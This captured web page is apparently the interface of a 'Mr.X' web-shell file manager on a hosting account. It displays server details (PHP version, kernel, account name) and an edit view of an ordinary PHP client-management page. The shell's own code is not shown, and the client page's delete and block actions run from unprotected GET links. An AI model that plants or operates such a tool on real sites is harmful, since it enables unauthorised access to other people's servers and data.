🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:clients.php
<?php require_once 'header.php'; $msg = ''; // Auto-create clients table try { $pdo->exec("CREATE TABLE IF NOT EXISTS `clients` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(150) NOT NULL, `phone` varchar(20) DEFAULT '', `email` varchar(150) DEFAULT '', `address` text DEFAULT NULL, `notes` text DEFAULT NULL, `is_blocked` tinyint(1) DEFAULT 0, `created_at` timestamp NOT NULL DEFAULT current_timestamp(), PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4"); } catch(Exception $e) {} // Block client if (isset($_GET['block'])) { $id = (int)$_GET['block']; try { $pdo->prepare("UPDATE clients SET is_blocked=1 WHERE id=?")->execute([$id]); $msg = "<div class='alert alert-warning'>Client has been <strong>blocked</strong>.</div>"; } catch(Exception $e) {} } // Unblock client if (isset($_GET['unblock'])) { $id = (int)$_GET['unblock']; try { $pdo->prepare("UPDATE clients SET is_blocked=0 WHERE id=?")->execute([$id]); $msg = "<div class='alert alert-success'>Client has been <strong>unblocked</strong>.</div>"; } catch(Exception $e) {} } // Delete client if (isset($_GET['delete'])) { $id = (int)$_GET['delete']; try { $pdo->prepare("DELETE FROM clients WHERE id=?")->execute([$id]); $msg = "<div class='alert alert-success'>Client deleted successfully.</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'>Error deleting client.</div>"; } } // Add client if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action']) && $_POST['action'] == 'add') { try { $stmt = $pdo->prepare("INSERT INTO clients (name, phone, email, address, notes) VALUES (?,?,?,?,?)"); $stmt->execute([$_POST['name'], $_POST['phone'], $_POST['email'], $_POST['address'], $_POST['notes']]); $msg = "<div class='alert alert-success'>Client added successfully!</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'>Error adding client.</div>"; } } // Edit client if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action']) && $_POST['action'] == 'edit') { $id = (int)$_POST['id']; try { $pdo->prepare("UPDATE clients SET name=?, phone=?, email=?, address=?, notes=? WHERE id=?") ->execute([$_POST['name'], $_POST['phone'], $_POST['email'], $_POST['address'], $_POST['notes'], $id]); $msg = "<div class='alert alert-success'>Client updated successfully!</div>"; } catch(Exception $e) { $msg = "<div class='alert alert-danger'>Error updating client.</div>"; } } // Fetch all clients $clients = []; $total = 0; $blocked = 0; try { $stmt = $pdo->query("SELECT * FROM clients ORDER BY created_at DESC"); $clients = $stmt->fetchAll(); $total = count($clients); $blocked = count(array_filter($clients, fn($c) => $c['is_blocked'])); } catch(Exception $e) {} ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h2><i class="fas fa-users text-gold me-2"></i> Client Management</h2> <button class="btn btn-gold" data-bs-toggle="modal" data-bs-target="#addClientModal"> <i class="fas fa-user-plus me-2"></i> Add Client </button> </div> <?= $msg ?> <!-- Stats Row --> <div class="row g-3 mb-4"> <div class="col-md-4"> <div class="card border-0 bg-primary text-white h-100"> <div class="card-body d-flex justify-content-between align-items-center"> <div> <div class="small text-white-50">Total Clients</div> <h2 class="mb-0"><?= $total ?></h2> </div> <i class="fas fa-users fs-1 opacity-25"></i> </div> </div> </div> <div class="col-md-4"> <div class="card border-0 bg-success text-white h-100"> <div class="card-body d-flex justify-content-between align-items-center"> <div> <div class="small text-white-50">Active Clients</div> <h2 class="mb-0"><?= $total - $blocked ?></h2> </div> <i class="fas fa-user-check fs-1 opacity-25"></i> </div> </div> </div> <div class="col-md-4"> <div class="card border-0 bg-danger text-white h-100"> <div class="card-body d-flex justify-content-between align-items-center"> <div> <div class="small text-white-50">Blocked Clients</div> <h2 class="mb-0"><?= $blocked ?></h2> </div> <i class="fas fa-user-slash fs-1 opacity-25"></i> </div> </div> </div> </div> <!-- Clients Table --> <div class="card"> <div class="card-body p-0"> <div class="table-responsive"> <table class="table table-hover align-middle mb-0"> <thead class="table-light"> <tr> <th>#</th> <th>Client Name</th> <th>Phone</th> <th>Email</th> <th>Address</th> <th>Status</th> <th>Added</th> <th>Actions</th> </tr> </thead> <tbody> <?php if (empty($clients)): ?> <tr><td colspan="8" class="text-center py-5 text-muted"> <i class="fas fa-users fs-1 d-block mb-3"></i> No clients added yet. </td></tr> <?php else: ?> <?php foreach($clients as $c): ?> <tr style="<?= $c['is_blocked'] ? 'background:rgba(220,53,69,0.05);' : '' ?>"> <td><?= $c['id'] ?></td> <td> <strong><?= e($c['name']) ?></strong> <?php if($c['notes']): ?> <div class="small text-muted"><?= e(substr($c['notes'], 0, 40)) ?>...</div> <?php endif; ?> </td> <td><?= e($c['phone']) ?: '<span class="text-muted">—</span>' ?></td> <td><?= e($c['email']) ?: '<span class="text-muted">—</span>' ?></td> <td class="small"><?= e($c['address']) ?: '<span class="text-muted">—</span>' ?></td> <td> <?php if($c['is_blocked']): ?> <span class="badge bg-danger"><i class="fas fa-ban me-1"></i>Blocked</span> <?php else: ?> <span class="badge bg-success"><i class="fas fa-check me-1"></i>Active</span> <?php endif; ?> </td> <td class="small text-muted"><?= date('d M Y', strtotime($c['created_at'])) ?></td> <td> <!-- Edit --> <button class="btn btn-sm btn-outline-primary me-1" title="Edit" data-bs-toggle="modal" data-bs-target="#editClientModal<?= $c['id'] ?>"> <i class="fas fa-edit"></i> </button> <!-- Block / Unblock --> <?php if($c['is_blocked']): ?> <a href="clients.php?unblock=<?= $c['id'] ?>" class="btn btn-sm btn-success me-1" title="Unblock" onclick="return confirm('Unblock this client?')"> <i class="fas fa-user-check"></i> </a> <?php else: ?> <a href="clients.php?block=<?= $c['id'] ?>" class="btn btn-sm btn-warning me-1" title="Block" onclick="return confirm('Block this client?')"> <i class="fas fa-ban"></i> </a> <?php endif; ?> <!-- Delete --> <a href="clients.php?delete=<?= $c['id'] ?>" class="btn btn-sm btn-outline-danger" title="Delete" onclick="return confirm('Delete this client permanently?')"> <i class="fas fa-trash"></i> </a> <!-- Edit Modal --> <div class="modal fade" id="editClientModal<?= $c['id'] ?>" tabindex="-1"> <div class="modal-dialog"> <form class="modal-content" method="POST"> <div class="modal-header"> <h5 class="modal-title text-dark">Edit Client</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <input type="hidden" name="action" value="edit"> <input type="hidden" name="id" value="<?= $c['id'] ?>"> <div class="mb-3"> <label class="form-label text-dark">Full Name *</label> <input type="text" name="name" class="form-control" value="<?= e($c['name']) ?>" required> </div> <div class="row g-3 mb-3"> <div class="col-md-6"> <label class="form-label text-dark">Phone</label> <input type="text" name="phone" class="form-control" value="<?= e($c['phone']) ?>"> </div> <div class="col-md-6"> <label class="form-label text-dark">Email</label> <input type="email" name="email" class="form-control" value="<?= e($c['email']) ?>"> </div> </div> <div class="mb-3"> <label class="form-label text-dark">Address</label> <textarea name="address" class="form-control" rows="2"><?= e($c['address']) ?></textarea> </div> <div class="mb-3"> <label class="form-label text-dark">Notes</label> <textarea name="notes" class="form-control" rows="2"><?= e($c['notes']) ?></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-primary">Update Client</button> </div> </form> </div> </div> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> </div> <!-- Add Client Modal --> <div class="modal fade" id="addClientModal" tabindex="-1"> <div class="modal-dialog"> <form class="modal-content" method="POST"> <div class="modal-header"> <h5 class="modal-title"><i class="fas fa-user-plus me-2 text-gold"></i>Add New Client</h5> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body"> <input type="hidden" name="action" value="add"> <div class="mb-3"> <label class="form-label">Full Name *</label> <input type="text" name="name" class="form-control" placeholder="Client's full name" required> </div> <div class="row g-3 mb-3"> <div class="col-md-6"> <label class="form-label">Phone Number</label> <input type="text" name="phone" class="form-control" placeholder="e.g. 0771234567"> </div> <div class="col-md-6"> <label class="form-label">Email Address</label> <input type="email" name="email" class="form-control" placeholder="client@email.com"> </div> </div> <div class="mb-3"> <label class="form-label">Address</label> <textarea name="address" class="form-control" rows="2" placeholder="Client's address"></textarea> </div> <div class="mb-3"> <label class="form-label">Notes</label> <textarea name="notes" class="form-control" rows="2" placeholder="Any additional notes..."></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-gold px-4"><i class="fas fa-save me-2"></i>Save Client</button> </div> </form> </div> </div> <?php require_once 'footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder